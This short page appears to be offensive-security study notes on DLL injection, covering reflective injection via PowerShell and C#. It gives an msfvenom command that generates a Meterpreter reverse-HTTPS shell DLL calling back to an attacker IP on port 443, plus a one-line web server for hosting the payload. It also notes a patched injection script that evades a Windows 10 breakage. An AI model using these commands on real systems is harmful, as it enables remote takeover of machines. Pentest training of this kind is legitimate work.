C# DLL Injection

Reflective DLL injection parses the relevant fields of the DLL's Portable Executable(PE) file format and maps the contents into memory.

shell.dll to inject
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f dll -o shell.dll
python -m http.server 80

*Reflective DLL injection to process with Powershell in-memory

support dll or exe byte array in -PEBytes
fixed ver
circle-info

Note that the public version of this script fails on versions of Windows 10 1803 or newer due to the multiple instances of GetProcAddress in UnsafeNativeMethods. Luckily, we have already solved this issue previously and the version of the script here has been updated to avoid this.

circle-exclamation
circle-info

Note that we could also inject DLLs reflectively from C#, but there are no public C# proof-of-concepts that perform remote process injection. However, PELoader arrow-up-rightdemonstrates local process injection.

On disk DLL injection to process

Last updated